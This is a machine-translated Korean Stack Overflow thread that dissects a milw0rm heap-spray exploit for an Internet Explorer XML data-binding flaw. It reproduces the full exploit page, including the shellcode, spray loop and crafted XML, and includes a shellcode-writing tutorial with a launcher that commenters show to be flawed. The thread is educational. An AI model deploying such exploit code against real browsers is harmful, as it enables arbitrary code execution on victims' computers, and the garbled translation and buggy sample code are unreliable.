이 milw0rm 힙 스프레이 익스플로잇은 어떻게 작동합니까?


145

나는 일반적으로 JavaScript 코드를 읽는 데 어려움이 없지만이 코드는 논리를 알 수 없습니다. 이 코드는 4 일 전에 게시 된 악용 코드입니다. 당신은 그것을 찾을 수 있습니다milw0rm .

코드는 다음과 같습니다.

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

여기에 내가 믿은 바가 있으며, 내가 오해하는 부분을 도와주십시오.

변수 shellcode에는를 여는 코드가 포함되어 있습니다 calc.exe. 나는 그들이 그 이상한 문자열을 어떻게 찾았는지 알지 못한다. 어떤 생각?

두 번째는 변수 spray입니다. 이 이상한 루프를 이해하지 못합니다.

세 번째는 memory어디에도 사용되지 않는 변수 입니다. 그들은 왜 그것을 만드는가?

마지막으로 : 페이지에서 XML 태그는 무엇을합니까?


현재로서는 좋은 답변이 있지만 대부분 매우 일반적인 답변이 있습니다. 코드 값에 대한 자세한 설명을 원합니다. 예는 unescape("%u0a0a%u0a0a");입니다. 무슨 뜻인가요? 루프에 대해 같은 것 : 개발자가 쓴 이유 : length < 0xd0000? 이 코드의 이론뿐만 아니라 더 깊은 이해를 원합니다.


힙 스프레이를 살펴 봐야합니다 : en.wikipedia.org/wiki/Heap_spraying
BobbyShaftoe

이 익스플로잇을 어떻게 성공적으로 실행합니까? IE에서 실행해야합니까?
bad_keypoints

답변:


320

쉘 코드에는 실제 악용을 수행하는 일부 x86 어셈블리 명령어가 포함되어 있습니다. spray에 넣을 긴 명령 시퀀스를 만듭니다 memory. 우리는 일반적으로 메모리에서 쉘 코드의 정확한 위치를 찾을 수 없으므로 많은 nop명령을 앞에 넣고 어딘가로 이동합니다. memory배열은 점프 메커니즘과 함께 실제의 x86 코드를 개최한다. 제작 된 XML을 버그가있는 라이브러리에 공급합니다. 파싱 ​​될 때, 버그로 인해 명령어 포인터 레지스터가 익스플로잇 어딘가에 할당되어 임의의 코드가 실행됩니다.

더 깊이 이해하려면 실제로 x86 코드의 내용을 이해해야합니다. unscape문자열을 나타내는 바이트 시퀀스를spray변수에 . 유효한 힙을 채우고 쉘 코드의 시작 부분으로 이동하는 유효한 x86 코드입니다. 종료 조건의 이유는 스크립팅 엔진의 문자열 길이 제한 때문입니다. 특정 길이보다 큰 문자열을 가질 수 없습니다.

x86 어셈블리에서을 0a0a나타냅니다 or cl, [edx]. 이것은 nop우리의 착취를 목적으로 하는 교육 과 실질적으로 동일합니다 . 우리는의에 뛰어든지 spray우리는 우리가 실제로 실행하고자하는 코드입니다 쉘 코드에 도달 할 때까지, 우리는 다음 명령어로 얻을 것이다.

XML을 보면 0x0a0a거기에도 있습니다. 어떤 일이 발생하는지 정확히 설명하려면 익스플로잇에 대한 특정 지식이 필요합니다 (버그의 위치와 익스플로잇 방법을 알아야합니다). 그러나 Internet Explorer innerHtml가 해당 악의적 인 XML 문자열 로 설정하여 버그가있는 코드를 트리거하도록 강제하는 것 같습니다 . Internet Explorer는 구문 분석을 시도하고 버그 코드는 어떻게 든 배열이 존재하는 메모리 위치를 제어합니다 (큰 덩어리이기 때문에 점프 확률이 높음). 우리가 그곳으로 점프하면 CPU는 or cl, [edx]메모리에 넣은 쉘 코드의 시작 부분에 도달 할 때까지 명령 을 계속 실행 합니다.

쉘 코드를 분해했습니다.

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

이 쉘 코드를 이해하려면 JavaScript가 아닌 x86 어셈블리 지식과 MS 라이브러리 자체의 문제가 필요합니다 (여기에 도달했을 때 시스템 상태를 알기 위해)! 이 코드는 차례로 실행 calc.exe됩니다.


13
이 설명에 대한 귀하의 노력에 감사드립니다. +25 평판과 모든 존경. 감사합니다
Patrick Desjardins

20
좋은 답변이지만 좋은 주 님-갑자기 나는 컴퓨터에 좋지 않다 ;-)
username

50
이런 종류의 익스플로잇을 만들어 낸 사람들에 놀랐습니다. 그들이 이것으로 누군가의 은행 계좌를 해킹 할만큼 영리하다면, 그들은 훔칠 수있는 모든 돈을받을 자격이 있습니다.)
Martin

8
SO에 대한 좋은 대답의 신전이 있었다면, 그 안에있을 것입니다.
San Jacinto

6
분해는 무의미하고 완전히 무작위로 보입니다. 맞지 않아요 문자열의 문자가 리틀 엔디안에 저장되었다고 가정하고 바이트를 바꾸려고했지만 도움이되지 않았습니다.
Juho Östman

10

이것은 Microsoft가 긴급 패치를 발표 한 최근 Internet Explorer 버그 를 악용 한 것으로 보입니다 . Microsoft XML 처리기의 데이터 바인딩 기능의 결함을 사용하여 힙 메모리가 잘못 할당 취소됩니다.

쉘 코드는 버그가 발생할 때 실행될 머신 코드입니다. 스프레이와 메모리는 악용 가능한 조건이 발생하도록 힙에 할당 된 공간입니다.


Chrome 확장 프로그램에서 이러한 일이 발생할 수 있다고 생각하십니까?
bad_keypoints


2

익스플로잇 토론에서 언급되지 않은 메모리를 볼 때마다 첫 번째 생각은 익스플로잇이 일종의 버퍼 오버 플로라는 것입니다.이 경우 메모리가 버퍼 오버플로를 유발하거나 버퍼 오버플로가 발생하면 액세스됩니다. .


이 경우 힙 손상, 힙 기반 버퍼 오버런 또는 스택 기반 버퍼 오버런이 아닙니다. blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx
Grant Wagner

0

이것은 metasploit에서 유래 한 것으로 metasploit 쉘 코드 중 하나를 사용하고 있음을 의미합니다. 오픈 소스이므로 갈 수 있습니다 : http://www.metasploit.com/



0

간단한 쉘 코드 예제

전 세계의 어셈블리 x86 구문에서 안녕하세요. (Wizard in Training).

파일을 설정하십시오.vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

다음과 같이 컴파일하십시오.as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

이제 hello world를 출력하는 바이너리가 있습니다. 바이너리를 쉘 코드 유형으로 변환하려면 다음을 수행하십시오.objdump -D shellcode

당신은 출력을 얻을 것이다 :

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

이제 네 번째 줄에 텍스트가 있으면 다음을 볼 수 있습니다 : 400078: eb 1a jmp 0x400094

말하는 부분 eb 1a은 어셈블리 명령의 16 진수 표현입니다. jmp one여기서 "1"은 문자열의 메모리 주소입니다.

실행을 위해 쉘 코드를 준비하려면 다른 텍스트 파일을 열고 16 진수 값을 문자 배열에 저장하십시오. 쉘 코드를 올바르게 형식화하려면 \x16 진수 값마다 이전 을 입력하십시오 .

다음 쉘 코드 예제는 objdump 명령 출력에 따라 다음과 같습니다.

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

이 예에서는 배열에 C를 사용합니다. 이제 stdout "hello world"에 기록 할 쉘 코드가 있습니다.

쉘 코드를 취약점에 배치하여 테스트하거나 다음 c 프로그램을 작성하여 테스트 할 수 있습니다.

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

프로그램 유형을 컴파일하려면 다음을 수행하십시오.

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

실행 ./run 당신은 리눅스 민트 / 데비안에서 테스트 한 간단한 쉘 코드 개발 작업 예제를 알고있다.


1
int 0x8064 비트 코드에서 32 비트 ABI를 사용하지 마십시오 . 커널은 32 비트의 syscall args 만 보이므로 스택에서 문자열이 실패합니다. 64 비트 코드에서 32 비트 int 0x80 Linux ABI를 사용하면 어떻게됩니까? . (때문에이 경우 당신은 무한 루프를 만들 것입니다 sys_write반환 -EFAULT, 그리고 mov $1, %al당신이 얻을 수 있도록, 상위 비트가 설정 떠날 것 -ENOSYS대신 SYS_exit 시스템의). 또한 64 비트 코드 jmp에서는 문자열을 전달하고 RIP 상대 lea를 사용하여 호출 / 팝 대신 주소를 얻을 수 있습니다.
Peter Cordes

1
정적 저장 문자 배열조차도 낮은 32 비트 밖에 있기 때문에 PIE 실행 파일을 기본적으로 빌드하는 gcc의 경우에도 실패합니다. (그리고 BTW라면 const char payload[], 텍스트 세그먼트 (.rodata 섹션에 있음)에있을 것이고 필요하지 않을 것 -z execstack입니다.)
Peter Cordes

1
또한 movl 4, %rax0 바이트를 포함합니다 (피연산자 크기 불일치로 인해 어셈블되지 않으며 누락되어 $있으므로 4는 절대 주소입니다). 소스의 초기 버전을 게시했다고 생각합니다. 저의 이전 의견은 sys_exit전화를 추가 한 곳의 분해를 살펴 보는 것 입니다.
Peter Cordes
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.